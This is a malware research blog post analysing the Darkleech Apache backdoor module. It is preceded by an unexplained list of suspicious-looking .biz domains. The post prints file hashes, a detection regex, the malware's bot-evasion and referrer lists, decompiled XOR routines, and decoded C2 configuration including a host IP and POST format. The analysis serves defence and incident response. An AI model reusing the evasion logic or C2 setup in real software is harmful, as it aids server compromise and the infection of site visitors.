reversingtk.biz
censoredxf.biz
fixturesdo.biz
sownnks.biz
rdkyazdiskettesgazq.biz
singaporeaeicuttersie.biz
julietouz.biz
incitementmsdenominatorbw.biz
addictionsr.biz
lldatyxsurferssz.biz
curiositieszk.biz
leapsizn.biz
kangaroostsol.biz
generickkfn.biz
legitzzcomsqc.biz
tvgolgogwholesalerta.biz
compliantbfapacificannao.biz
ndvsyhvsmoralfrl.biz
qtzpdfoursquarelgen.biz
medicationsoetlexpediencewf.biz
capitalizedvty.biz
remindersoevi.biz
cakenkq.biz
mayorch.biz
golferztphoneoux.biz
reproduceolbp.biz
ypdwqrizfederallyedm.biz
executioners-qqsimpleupt.biz
iybet-hrthrottleuv.biz
crustedosaq.biz
landscapingdukddisclaimqxmq.biz
hynaylabyrinthqvi.biz
gavefqmt.biz
closurecw.biz
limexktombszy.biz
dothku.biz
pinkypxznaturalizationgxe.biz
settlementdp.biz
cartridgeshyic.biz
approximationszxdguessingzqvl.biz
bankersnhrl.biz
invokedhd.biz
broad-bpexpeditionodvn.biz
doableevcv.biz
vanessaevr.biz
transparent-nvmaturitybzw.biz
lydytmlbeardssr.biz
deceptionxv.biz
osbktfbuenvironmentalistdk.biz
epsiloncihz.biz
xonnzyencompassedtuak.biz
prohibitionbfm.biz
fascinatedwym.biz
udefhursttwa.biz
boilsdcx.biz
mouthfulxnr.info
fieldsurh.biz
yrhkyodefencexs.biz
pmvoerecantlxsd.biz
corridor-rhyuckypho.biz
carnagekbz.biz
uncoveredoq.biz
junketxme.biz
levyrwl.biz
trickmdv.biz
malawigt.biz
smatteringon.biz
testinimationsexy.com
consngls.biz
convictionsxns.biz
arabicfng.biz
gripping-ozhmeatshm.biz
embarkify.biz
vnszthrdigitalztis.biz
transforming-bdadamsxay.biz
redeemsxky.biz
bzzccupriceduiy.biz
tractionmcabandonedqnxv.biz
scqa-xepxalbeitxtxh.biz
intimacycn.biz
warfareoyfreplaceabledlc.biz
gyeffsincerelyqi.biz
downwardfq.biz
uviiqnbimpromptuouv.biz
millionstpnh.biz
robbertptr.biz
principalsleus.biz
eqbxgnyncwratheol.biz
cosmosps.biz
swxprecountrr.biz
stuffingyvvmysteriousne.biz
dynamitesnxbbondagexvm.biz
volitionep.biz
overloadfhtm.biz
bellynx.biz
larrymvx.biz
zvz-ssxtriedpnu.biz
confinementsxvw.biz
xttwkdtextortionrsbe.biz
ytaqetsupperhg.biz
arroyoin.biz
ruqflkdbreakerdz.biz
scratchgxmartinmh.biz
conditioned-fpfeempowerkykt.biz
reusefbw.biz
equivalentdz.biz
freezesgp.biz
fridgenet.biz
tutoringkp.biz
powerhousespqflickercgux.biz
matt-hxowninggqq.biz
massagingrin.biz
dfihlfairskvl.biz
expectationikel.biz
kbdhqconceptionsxk.biz
judyqul.biz
dbaiedisputeqhhy.biz
notablesmoyscholarshipuw.biz
scenariosvpwp.biz
closenesszvclinchws.biz
nnuchwbunknownsqdak.biz
allowingynu.biz
clamqxor.biz
probableoko.biz
signalinggyo.biz
trimesternxnwconnersixs.biz
disinformationsm.biz
receipts-lzkmbylawsmyva.info
lament-uausendingwhx.biz
iru-bfvprincehr.biz
gqwy-dkvisualsklw.biz
ennuiuw.biz
microwavelmpg.biz
canardbapublishersihm.biz
copedxibc.biz
kswdt-ytzkjuntaaiq.biz
characterizationczcreactsxfb.biz
factoringpdoxidesldt.biz
pharmaceuticalyegn.biz
privatelyucr.biz
sdwepcugcottotq.biz
vpya-gbudgiftqw.biz
establishedhgd.biz
allegedlynsiy.biz
rodentlbwmsnailswmyc.biz
theegtqiincidenceutbt.biz
limitationskqht.biz
seniorityayv.biz
krishna-qecdissentersktm.biz
identifyerg.biz
frankfurthegt.biz
definitionskocaringqp.biz
vintagefcgz.biz
retireddbuh.biz
caucasiangyfinationalsnffq.biz
bullseyemep.biz
wristwatchnmi.biz
skeweddd.biz
tlzoqmlsfirsthandgod.biz
voicefan.biz
standout-ncxblockerwfrb.biz
australiansxuu.biz
ieisqnformulasiv.biz
jacketkgd.biz
featuringxwx.biz
fumblingxibgsparhm.biz
blackbirdtr.biz
dp-pdrqcoralfzn.biz
wcud-pbductdpur.biz
rvyykgxghastlyoeq.biz
mgs-uvsbarnacleeink.biz
labelscqht.biz
rppmaeincludingfh.biz
esqniuoalarmtnhs.biz
ca-tsiamarillooil.biz
knivessdx.biz
ministryxsueyeballznqp.biz
reskd-nqlobjectssq.biz
sr-ewwrestlingxd.biz
Related Information:
#MalwareMustDie!

Chủ Nhật, 24 tháng 3, 2013

With the help of Malware Researchers, & solid coordination with authorities and admins involved we successfully stopped the mass attack of current threat which damaged hundreds of Linux Apache web servers within 2 weeks infection periods. I thank you for authority who finally approved MalwareMustDie released the know how for this threat by this simple post. Credit list is written under this post.

Malware Definition and Historical Research

This definition is written by the latest observation of the large infection case occurred caused by this malware's infection on Linux Apache Web Servers.

Darkleech Apache Malware Module version (there is also detected an NGNIX version of this malware as per mentioned --> here by Eric Romang) is the malware implemented in Linux OS served with Apache web server with the Apache API interactive module. Malware module was loaded and activated into the Apache web server system by LoadModule command defined in the module configuration file. Once it is loaded into the system it perform general malicious functionality of: [1] Self injection of compromised server's web pages with the code to redirect victim to the malware sites and [2] Backdoor the compromised server system from the remote access.

Before starting the details of infection it is good to understand the background of malware to be about to discussed in this post:

This malware is already recognized by antivirus products with the reference name of Linux/Chapro.x or other names, you can seek it in Google--> here. Historically, this malware's infection attack was firstly exposed by Unmask Parasites on August 13th, 2012 in--> here and was firstly very detailed disclosed in October 2012 by russian malware researcher in PDF presentation shared at yandex.ru--> here. (Direct download PDF is--> here). And I believe the first english coverage of this malware was written by Unmask Parasites in--> here. Following by various anti virus research reports and coverage i.e. by ESET, Securelist, Symantec, etc.

The bad actor group who is using Darkleech Apache Module is the same bad guys behind the Cryptome infection more than 1 year ago, and LA Times incident a while ago. This was exposed in Malware Don't Drink Coffee blog in--> here. And the latest mass-infection detected using this malware was pointing to Blackhole Exploit Kit with spreading combination of Trojan PWS/Downloader collaborated with FakeAV and/or ZeroAccess malware, exposed in--> here.

The first time the related malware sample was uploaded to Virus Total is in--> here. And the link between Darkleech underground forum to this malware firstly exposed via Eric Romang's post in--> here, which pointing to the Russian underground forum (forum snapshot is below).


Latest Infection Details


The malware was found in web server systems with below characteristic:
Linux RedHat-base distribution without SE Linux properly set
Apache httpd web server 2.x (rpm-base, as per it is)
Cgi-base web admin panel and/or Wordpress system's served
Malware module file was found with the below regex:
mod\_[a-z0-9]{3,}\_[a-z0-9]{3,}\.so
With the below file names:
mod_sec2_config.so
mod_pool_log.so
mod_chart_proxy.so
mod_balance_alias.so
mod_local_log.so
mod_build_cache.so
:
Malware was loaded in various malicious conf file with using Apache module's LoadModule method below:
$ cat ../etc/../modules/[VARIOUS].conf| grep "mod_"
LoadModule sec2_config_module modules/mod_sec2_config.so
PS: malware module files was using old dates.

Infection Symptoms

When an Apache web server get infected by this malware it shows the unwanted redirection to the remote web servers served with the malware infection codes, mostly are Exploit Kit's landing page. One real infection session is shown as below PCAP record:


Landing page like:

Before redirection occurred the malware injection code will
be detected in the previous HTTP GET traffic in the
infected server as per below PCAP (see the 1st request)

In the first traffic we'll see the malware injected code:

contains the javascript wrapped iframe code like below:

which will trigger the malware downloads like real sample below:


Infection Condition

There are several malware infection conditions that "supposed" to be met for an infection. All of the prerequisites for infection was defined in the client's HTTP access to the infected web servers, also in the checked values of the infected web servers. Unmask Parasites blog in--> here is explaining the very useful guides for us to break down the recent malware Apache module spotted, below are the details:
 
1. The usage of referer to block unwanted browsers.
By reversing, we found the malware has function
(C_ARRAY_BAN_USERAGENT) to ban unwanted browsers
with the below list:
SAFARI             YANDEX
OPERA CRAWLER
FIREFOX JIKE
CHROME SPIDER
GOOGLEBOT ROBOT
SLURP PAPERLIBOT
YAHOO SNAPPREVIEWBOT
BING BUFFERBOT
LINUX MEDIAPARTNERS
OPENBSD HATENA
MACINTOSH BLUEDRAGON
MAC OS WORDPRESS
IPHONE XIANGUO
SYMBIANOS WOOPINGBOT
NOKIA CAFFEINATED
LINKDEX FEEDZIRRA
FROG/1 BITLYBOT
USER-AGENT FOIIABOT
BLACKBERRY PROXIMIC
MOTOROLA VBSEO
APPLE-PUB FOLLOWSITE
AKREGATOR SOGOU
SONYERICSSON NHN
MACBOOK WGET
XENU LINK MSNBOT
METAURI YOUDAO
REEDER STACKRAMBLER
MOODLEBOT LWP::SIMPLE
SAMSUNG QIHOOBOT
SINDICE-FETCHER BRUTUS
EZOOMS HTTPCLIENT
NIKOBOT NIELSEN
BINLAR CURL
DARWIN PHP
PLAYSTATION INDY LIBRARY
OPERA MINI NINTENDO
2. Checked referer sitesDetected malware modules was checking below sites before injecting the redirection code, spotted in value of C_ARRAY_SE_REFERRER below:
GOOGLE.     ICQ.   
YAHOO. NETZERO.
YANDEX. FRESH-WEATHER.
RAMBLER. FREECAUSE.
MAIL.RU MYSEARCH-FINDER.
BING. NEXPLORE.
SEARCH. ATT.
MSN. REDROVIN.
ALLTHEWEB. TOSEEKA.
ASK. COMCAST.
LOOKSMART. INCREDIMAIL.
ALTAVISTA. CHARTER.
WEB.DE VERIZON.
FIREBALL. SUCHE.
LYCOS. VIRGILIO.
AOL. VERDEN.
After some tests on the infected sites we found that the referer below was not infecting the sites. 3. Others malware blacklist method:
The malware tries to identify unwanted access from web site admins, server login admins, server unwanted processes as per spotted malicious functions below:

C_ARRAY_BAN_LOCAL_IP
(contains IP addresses)
C_ARRAY_BLACKLIST_URI
"ADMIN"
C_ARRAY_SUDOERS
(contains list of user with sudoers right)
C_ARRAY_BAN_PROC
(contains MD5 of banned process)
i.e.:
f7277f6714e4b034216cf6558cc6327b
28878074a3dd19c7361e8a6d3f04fc17
d0415afe195478d4d8c9af205644
4. Malware checked conditions:
The malware is having below condition to be passed for performing infection as per described in the below details:

_CHECK_BLACKLIST           0x3D20  
_CHECK_BOT_USERAGENT 0x3650
_CHECK_JS 0x3180
_CHECK_LOCAL_IP 0x44F0
_CHECK_PROC 0x3980
_CHECK_RAW_COOKIE 0x3190
_CHECK_REFERER_IS_HOST 0x31C0
_CHECK_REFERER_IS_SEO 0x3540
_CHECK_SITE_ADMIN 0x3860
_CHECK_SITE_KERNEL 0x31B0
_CHECK_UTMP 0x3BB0
_CHECK_WAITLIST 0x5500
5. The Blacklist files
We spotted the blacklist was saved in the temporary directory set in the Linux system environment TEMP or TMP variable (i.e.: "/var/tmp/" or also "/")under file names:

/var/tmp/sess_
Which is having various value of blacklist data described in the above conditions.


6. Usage of cookies to control infection
During investigation our friend in crusade @it4sec offered help on analysis infection condition. He found and posted the good theory of malware usage of cookies his blog "On Daily Basis" in--> here. Which I recommend you to read.


7. Finally, the post-check, code injection
Injection methods:
INJECT
javascript
text/js
Injection Code Boundaries
C_MARKER_LEFT: {{{
C_MARKER_RIGHT: }}}
Inject commands:
_INJECT_DO
_INJECT_LOAD
_INJECT_SAVE
_INJECT_SKIP
_INJECT_UPDATE

Reversing Darkleech Malware Module

We are in coordination with jvoisin of dustri.org for reversing the current module under pure unix environment using python logic. jvoisin was making the best reversing method for this malware as per mentioned in his blog in--> here, which I recommend you to read. Also I used reference of an older version of this malware module source code spotted in pastebin in--> here.

Below is the reversing steps of the recent modules spotted between March 17th to March 22nd, 2013 in hundreds of infected sites we cleaned up. We used two permitted samples to be uploaded into virus total as per below details:


Sample 1 URL --> here
SHA256: 94ef407cc485989464dcf390fcea6e82218bc89f75394e41a95e0bb31830786b
SHA1: cc594b4d924b0710db64bcca5012d22db8842f98
MD5: 81c1d493c7764f6692c30de8923c76ba
File size: 36.4 KB ( 37296 bytes )
File name: mod_sec2_config.so
File type: ELF
Tags: elf
Detection ratio: 4 / 45
Analysis date: 2013-03-20 02:42:20 UTC ( 5 minutes ago )
【ExifTool】
MIMEType.................: application/octet-stream
CPUByteOrder.............: Little endian
CPUArchitecture..........: 32 bit
FileType.................: ELF executable
ObjectFileType...........: Shared object file
CPUType..................: i386
【Malware Name】
GData : ELF:Apmod-B
Avast : ELF:Apmod-B [Trj]
Microsoft : Backdoor:Linux/Apmod.gen!A
Kaspersky : HEUR:Backdoor.Linux.Apmod.gen
Sample 2 URL --> here
SHA256: ece16200fd54500a33d81f37a9f864148cbf8846514978413168ffacd46d28c3
SHA1: ef3741f3cc2c60cc4cd88e6293776e39d56cd78b
MD5: ae7c369b8bd49a04f87fab72d4d3431d
File size: 36.4 KB ( 37272 bytes )
File name: mod_pool_log.so
File type: ELF
Tags: elf
Detection ratio: 5 / 45
Analysis date: 2013-03-20 02:42:45 UTC ( 9 minutes ago )
【ExifTool】
MIMEType.................: application/octet-stream
CPUByteOrder.............: Little endian
CPUArchitecture..........: 32 bit
FileType.................: ELF executable
ObjectFileType...........: Shared object file
CPUType..................: i386
【Malware Name】
GData : ELF:Apmod-B
Avast : ELF:Apmod-B [Trj]
Microsoft : Backdoor:Linux/Apmod.gen!A
Kaspersky : HEUR:Backdoor.Linux.Apmod.gen
Ikarus : Backdoor.Linux.Apmod
File Information (the first file only)
$ ls -alF ./mod_sec2_config.so
-rwxr--r-- 1 xxx xxx 37296 Jun 26 2007 ./mod_sec2_config.so*

// md5..

$ md5 mod_sec2_config.so
MD5 (mod_sec2_config.so) = 81c1d493c7764f6692c30de8923c76ba

// file info

file format elf32-i386
architecture: i386, flags 0x00000150:
HAS_SYMS, DYNAMIC, D_PAGED
start address 0x00003050

0000 7F 45 4C 46 01 01 01 00 00 00 00 00 00 00 00 00 .ELF............
0010 03 00 03 00 01 00 00 00 50 30 00 00 34 00 00 00 ........P0..4...
0020 A0 8D 00 00 00 00 00 00 34 00 20 00 05 00 28 00 ........4. ...(.
0030 1A 00 19 00 01 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 F0 77 00 00 F0 77 00 00 05 00 00 00 .....w...w......
0050 00 10 00 00 01 00 00 00 00 80 00 00 00 80 00 00 ................
0060 00 80 00 00 F0 0B 00 00 84 0D 00 00 06 00 00 00 ................
0070 00 10 00 00 02 00 00 00 18 80 00 00 18 80 00 00 ................
0080 18 80 00 00 D0 00 00 00 D0 00 00 00 06 00 00 00 ................
0090 04 00 00 00 50 E5 74 64 C0 70 00 00 C0 70 00 00 ....P.td.p...p..
00A0 C0 70 00 00 7C 01 00 00 7C 01 00 00 04 00 00 00 .p..|...|.......
00B0 04 00 00 00 51 E5 74 64 00 00 00 00 00 00 00 00 ....Q.td........
:
For unixmen, fire your objdump to gain these values:
Program Header:
LOAD off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**12
filesz 0x000077f0 memsz 0x000077f0 flags r-x
LOAD off 0x00008000 vaddr 0x00008000 paddr 0x00008000 align 2**12
filesz 0x00000bf0 memsz 0x00000d84 flags rw-
DYNAMIC off 0x00008018 vaddr 0x00008018 paddr 0x00008018 align 2**2
filesz 0x000000d0 memsz 0x000000d0 flags rw-
EH_FRAME off 0x000070c0 vaddr 0x000070c0 paddr 0x000070c0 align 2**2
filesz 0x0000017c memsz 0x0000017c flags r--
STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
filesz 0x00000000 memsz 0x00000000 flags rw-

Dynamic Section:
NEEDED libm.so.6
NEEDED libc.so.6
SONAME mod_sec2_config.so
INIT 0x29f8
FINI 0x6f74
HASH 0xd4
STRTAB 0x16ec
SYMTAB 0x7bc
STRSZ 0x964
SYMENT 0x10
PLTGOT 0x82cc
PLTRELSZ 0x318
PLTREL 0x11
JMPREL 0x26e0
REL 0x22c8
RELSZ 0x418
RELENT 0x8
VERNEED 0x2238
VERNEEDNUM 0x2
VERSYM 0x2050
RELCOUNT 0x9

Version References:
required from libm.so.6:
0x0d696910 0x00 08 GLIBC_2.0
required from libc.so.6:
0x09691f73 0x00 07 GLIBC_2.1.3
0x0d696911 0x00 06 GLIBC_2.1
0x0d696914 0x00 05 GLIBC_2.4
0x09691974 0x00 04 GLIBC_2.3.4
0x0d696913 0x00 03 GLIBC_2.3
0x0d696910 0x00 02 GLIBC_2.0

Sections:
Idx Name Size VMA LMA File off Algn
0 .hash 000006e8 000000d4 000000d4 000000d4 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .dynsym 00000f30 000007bc 000007bc 000007bc 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .dynstr 00000964 000016ec 000016ec 000016ec 2**0
CONTENTS, ALLOC, LOAD, READONLY, DATA
3 .gnu.version 000001e6 00002050 00002050 00002050 2**1
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .gnu.version_r 00000090 00002238 00002238 00002238 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
5 .rel.dyn 00000418 000022c8 000022c8 000022c8 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
6 .rel.plt 00000318 000026e0 000026e0 000026e0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
7 .init 00000017 000029f8 000029f8 000029f8 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
8 .plt 00000640 00002a10 00002a10 00002a10 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
9 .text 00003f24 00003050 00003050 00003050 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
10 .fini 0000001c 00006f74 00006f74 00006f74 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
11 .rodata 0000011d 00006fa0 00006fa0 00006fa0 2**5
CONTENTS, ALLOC, LOAD, READONLY, DATA
12 .eh_frame_hdr 0000017c 000070c0 000070c0 000070c0 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
13 .eh_frame 000005b4 0000723c 0000723c 0000723c 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
14 .ctors 00000008 00008000 00008000 00008000 2**2
CONTENTS, ALLOC, LOAD, DATA
15 .dtors 00000008 00008008 00008008 00008008 2**2
CONTENTS, ALLOC, LOAD, DATA
16 .jcr 00000004 00008010 00008010 00008010 2**2
CONTENTS, ALLOC, LOAD, DATA
17 .data.rel.ro 00000004 00008014 00008014 00008014 2**2
CONTENTS, ALLOC, LOAD, DATA
18 .dynamic 000000d0 00008018 00008018 00008018 2**2
CONTENTS, ALLOC, LOAD, DATA
19 .got 000001e4 000080e8 000080e8 000080e8 2**2
CONTENTS, ALLOC, LOAD, DATA
20 .got.plt 00000198 000082cc 000082cc 000082cc 2**2
CONTENTS, ALLOC, LOAD, DATA
21 .data 00000770 00008480 00008480 00008480 2**5
CONTENTS, ALLOC, LOAD, DATA
22 .bss 00000184 00008c00 00008c00 00008bf0 2**5
ALLOC
23 .comment 000000e4 00000000 00000000 00008bf0 2**0
CONTENTS, READONLY
Full strings used:
0x16ED   0x16ED   __gmon_start__
0x16FC 0x16FC _init
0x1702 0x1702 _fini
0x1708 0x1708 __cxa_finalize
0x1717 0x1717 _Jv_RegisterClasses
0x172B 0x172B to_hex
0x173A 0x173A _CHECK_JS
0x1744 0x1744 _CHECK_RAW_COOKIE
0x1756 0x1756 KEY_CLIENT
0x1761 0x1761 _CHECK_SITE_KERNEL
0x1774 0x1774 _CHECK_REFERER_IS_HOST
: :
0x8BF1 0x8BF1 GCC: (GNU) 4.1.1 20060525 (Red Hat 4.1.1-1)
0x8C1E 0x8C1E GCC: (GNU) 4.1.1 20070105 (Red Hat 4.1.1-51)
0x8C4C 0x8C4C GCC: (GNU) 4.1.1 20070105 (Red Hat 4.1.1-51)
0x8C7A 0x8C7A GCC: (GNU) 4.1.1 20070105 (Red Hat 4.1.1-51)
0x8CA8 0x8CA8 GCC: (GNU) 4.1.1 20060525 (Red Hat 4.1.1-1)
: :
0x8D55 0x8D55 .ctors
0x8D5C 0x8D5C .dtors
0x8D68 0x8D68 .data.rel.ro
0x8D75 0x8D75 .dynamic
0x8D83 0x8D83 .got.plt
0x8D8C 0x8D8C .data
0x8D97 0x8D97 .comment
Here's the full list--> here Separating import modules & symbols values: Imported modules:
$ rabin2 -i ./mod_sec2_config.so | cut -d" " -f7 | cut -c6- | sort
[Imports]

67 imports
_Jv_RegisterClasses
__ctype_b_loc
__ctype_tolower_loc
__ctype_toupper_loc
__cxa_finalize
__fprintf_chk
__gmon_start__
__memcpy_chk
:
Symbols...
$ rabin2 -s ./mod_sec2_config.so | cut -d" " -f8 | cut -c6- | sort
[Symbols]

163 symbols
ARRAY_BAN_LOCAL_IP
ARRAY_BAN_PROC
ARRAY_BAN_USERAGENT
ARRAY_BLACKLIST_URI
ARRAY_SE_REFERER
ARRAY_SUDOERS
:
Full list of imported modules & symbols--> here We'll the XOR endoded strings like: At the last part of reversed symbols we found XOR functions:
0x17C8   0x17C8   xor_decrypt_string
0x17ED 0x17ED xor_encrypt_string
0x1800 0x1800 xor_encrypt
I reversed them to confirm XOR method:
xor_encrypt(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void Vfffffff4;

edx = A10;
L00003117();
ebx = ebx + 0x4f3b;
if(edx != 0 && A8 != 0) {
Vfffffff4 = A14;
*esp = *( *( *( *(ebx + -300)) + 0xc));
*(ebp - 0x10) = L00002D90();
if(A14 > 0) {
ecx = 0;
do {
edx = ecx;
eax = ecx;
edx = edx >> 0x1f;
Ac = Ac / Ac;
eax = *(ecx + A10) & 0xff;
al = al ^ *(Ac % Ac + A8);
*(ecx + *(ebp - 0x10)) = al;
ecx = ecx + 1;
} while(ecx != A14);
}
return *(ebp - 0x10);
}
*(ebp - 0x10) = 0;
eax = *(ebp - 0x10);
esp = esp + 0xc;}

xor_encrypt_string(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void V0;
/* unknown */ void V4;
/* unknown */ void ebx;
/* unknown */ void Vfffffffc;

ebx = ebx + 0x4f7d;
V4 = L00003117();
V0 = A10;
Vfffffffc = Ac;
*esp = A8;
return L00002C00();}

xor_decrypt_string(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void Vfffffff4;

L00003117();
ebx = ebx + 0x5001;
esp = esp - 0xc;
Vfffffff4 = A14 + 1;
*esp = *( *( *( *(ebx + -300)) + 0xc));
*(ebp - 0x10) = L00002D90();
if(A14 > 0) {
ecx = 0;
do {
edx = 0;
eax = 0;
edx = 0 >> 0x1f;
Ac = Ac / Ac;
al = *A10 & 0xff ^ *(Ac % Ac + A8);
*( *(ebp - 0x10)) = al;
} while(1 != A14);
}
esi = *(ebp - 0x10);
*(esi + A14) = 0;
eax = esi;
esp = esp + 0xc;}
So it looks decode and encode the XOR'ed strings. Question: what strings? It is actually contains malware hidden data:
C_MODULE_VERSION: 
C_CC_HOST:
C_CC_URI:
C_CC_REQUEST_FORMAT:
C_MARKER_LEFT:
C_MARKER_RIGHT:
C_TMP_DIR:
C_LIST_PREF:
C_COOKIE_NAME:
C_ARRAY_TAGS_FOR_INJECT:
C_ARRAY_BAN_USERAGENT:
C_ARRAY_BLACKLIST_URI:
C_ARRAY_SE_REFERRER:
C_ARRAY_SUDOERS:
C_ARRAY_BAN_PROC:
C_ARRAY_BAN_LOCAL_IP:
C_STRING_1:
C_STRING_2:
C_STRING_3:
:
C_STRING_35:
C_STRING_36:
We need to find size & offset per variable, i.e.:
{'name':'C_MODULE_VERSION',       'size':10, 'offset':0x8491},
{'name':'C_CC_HOST', 'size':12, 'offset':0x849b},
{'name':'C_CC_URI', 'size':15, 'offset':0x84a7},
{'name':'C_CC_REQUEST_FORMAT', 'size':96, 'offset':0x84c0},
{'name':'C_MARKER_LEFT', 'size':3, 'offset':0x8520},
{'name':'C_MARKER_RIGHT', 'size':3, 'offset':0x8523},
{'name':'C_TMP_DIR', 'size':8, 'offset':0x8526},
{'name':'C_LIST_PREF', 'size':5, 'offset':0x852e},
{'name':'C_COOKIE_NAME', 'size':15, 'offset':0x8533},
{'name':'C_ARRAY_TAGS_FOR_INJECT','size':77, 'offset':0x8560},
{'name':'C_ARRAY_BAN_USERAGENT', 'size':622,'offset':0x85c0},
{'name':'C_ARRAY_BLACKLIST_URI', 'size':5, 'offset':0x882e},
{'name':'C_ARRAY_SE_REFERRER', 'size':281,'offset':0x8840},
{'name':'C_ARRAY_SUDOERS', 'size':1, 'offset':0x8959},
{'name':'C_ARRAY_BAN_PROC', 'size':94, 'offset':0x8960},
{'name':'C_ARRAY_BAN_LOCAL_IP', 'size':48, 'offset':0x89e0},
{'name':'C_STRING_1', 'size':12, 'offset':0x8a10},
{'name':'C_STRING_2', 'size':9, 'offset':0x8a1c},
{'name':'C_STRING_3', 'size':1, 'offset':0x8a25},
: : :
{'name':'C_STRING_33', 'size':20, 'offset':0x8b3e},
{'name':'C_STRING_34', 'size':1, 'offset':0x8b52},
{'name':'C_STRING_35', 'size':3, 'offset':0x8b5a}
And figured the XOR offset & size, i.e. at the second sample:
0x0000847a (02) 0000                   ADD [EAX], AL
0x0000847c (02) 0000 ADD [EAX], AL
0x0000847e (02) 0000 ADD [EAX], AL
0x00008480 (06) dc9ba14f377b FCOMP QWORD [EBX+0x7b374fa1] // <==
0x00008486 (01) 40 INC EAX
0x00008487 (04) c114ca42 RCL DWORD [EDX+ECX*8], 0x42
0x0000848b (02) ff08 DEC DWORD [EAX]
0x0000848d (01) 16 PUSH SS
0x0000848e (01) 95 XCHG EBP, EAX
0x0000848f (05) 3544eeab90 XOR EAX, 0x90abee44
0x00008494 (02) 7d19 JGE 0x000084af ; 1
Then put the offset & size in the jvoisin's script:

// first sample:
fd.seek(0x8480)
key = fd.read(17)

//second sample:
fd.seek(0x84a0)
key = fd.read(23)
And we got the XOR decoded output values like:
$ python sec2.py "./mod_sec2_config.so"
C_MODULE_VERSION: "2012.12.14"
C_CC_HOST: "217.23.13.6"
C_CC_URI: "/Home/index.php"
C_CC_REQUEST_FORMAT: "POST %s HTTP/1.1"
Host: "%s"
Content-Type: "application/x-www-form-urlencoded"
Content-Length:"
%i
%s"
C_MARKER_LEFT: "{{{"
C_MARKER_RIGHT: "}}}"
C_TMP_DIR: "/"
C_LIST_PREF: "sess_"
C_COOKIE_NAME: "PHP_SESSION_ID="
C_ARRAY_TAGS_FOR_INJECT: "
</script>
</style>
</head>
</title>
</body>
</html>
</table>
</h1>
</i>
</ul>"
:
or
$ python sec3.py "./mod_pool_log.so"
C_MODULE_VERSION: "2012.12.14"
C_CC_HOST: "217.23.13.65"
C_CC_URI: "/Home/index.php"
C_CC_REQUEST_FORMAT: "POST %s HTTP/1.1"
Host: "%s"
Content-Type: "application/x-www-form-urlencoded"
Content-Length:
"%i"
"%s"
C_MARKER_LEFT: "{{{"
C_MARKER_RIGHT: "}}}"
C_TMP_DIR: "/var/tmp"
C_LIST_PREF: "sess_"
C_COOKIE_NAME: "PHP_SESSION_ID="
:
You'll see the injection method used:
C_STRING_2: text/html
C_STRING_3: %
C_STRING_5: document.write('%s');
C_STRING_5: r
C_STRING_6: User-Agent
C_STRING_7: %s%.*s
C_STRING_8: Referer
C_STRING_9: X-Forwarded-For
C_STRING_10: Client-IP
C_STRING_11: X-Real-IP
C_STRING_12: Cookie
C_STRING_13: ;
C_STRING_14: %s/%s%s
C_STRING_15: INJECT
C_STRING_16: javascript
C_STRING_17: text/js
C_STRING_18: j
Injected code is saved in %s as as per PoC'ed in traffic PCAP: These are ment to inject redirection code after tags:
C_ARRAY_TAGS_FOR_INJECT: 
</script>
</style>
</head>
</title>
</body>
</html>
</table>
</h1>
</i>
</ul>
Like the below code (usage after tag): The ID, Cookies and Hashes used:
C_COOKIE_NAME: PHP_SESSION_ID=
C_STRING_20: id=
C_STRING_21: %a %d-%b-%Y %H:%M:%S %Z
C_STRING_22: Set-Cookie
C_STRING_23: %s%i; expires=%s; path=/
C_STRING_24: Set-Cookie
C_STRING_25: w
C_STRING_26: %
C_STRING_27: Request-Hash
Contacting mother ships with method:
C_CC_HOST: 217.23.13.65
C_CC_URI: /Home/index.php
C_CC_REQUEST_FORMAT: POST %s HTTP/1.1
Host: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %i

Infection method & traces

We positively PoC'ed web admins (i.e.: cPanel, Plesk, Webmin and WordPress) panel vulnerability was used as main vector of penetration into vectim's machine in this attack. In the current incident there are mostly same web admins panel (Plesk) were detected in almost all infected servers as per this list, with the same vulnerability. It looks like the attackers were beforehand well-prepared with some penetration method to gain web exploitation which were used to gain shell access and did the privilege escalation unto root. (I am not allowed to expose this detail further at this moment). Since the root were gained in all infected servers, there is no way we can trust the host or its credentials anymore, we suggest you to offline the machine and use the backup data to start new service, AND remember to change all of server's user since there are strong possibilities the leaked server's admin credentials.

One should not try to seek traces on infection in /var/log/messages, is useless since the related logs were deleted. But I advise to go straight to see the traces in the Apache modules directories to grep the rogue module filenames with the above described regex, or see the TMP or TEMP environment for the "sess_" malware's blacklist / saved files.



Attack source IP


These are redirected IPs & source of preliminary attack:
65.75.139.229
129.121.99.242
129.121.176.15
149.47.146.13
149.47.146.139
173.192.50.193
:
These USA networks were used as EK redirection:
65.75.190.0/18,19,20,24 https://twitter.com/MalwareMustDie/status/313007473546117120
69.50.224.0/19 https://twitter.com/MalwareMustDie/status/313002510199693312
69.89.0.0/20 https://twitter.com/MalwareMustDie/status/312999183130968064
129.121.0.0/16, https://twitter.com/MalwareMustDie/status/312995306113466368
149.47.0.0/16 https://twitter.com/MalwareMustDie/status/312991655429033985
And latest attack source detected was moved to Netherland:
217.23.13.65

Additional

The malware is not 100% working in some infected systems. In some systems it crashes with signal 11:
execve("./mod_sec2_config.so",
["./mod_sec2_config.so"],
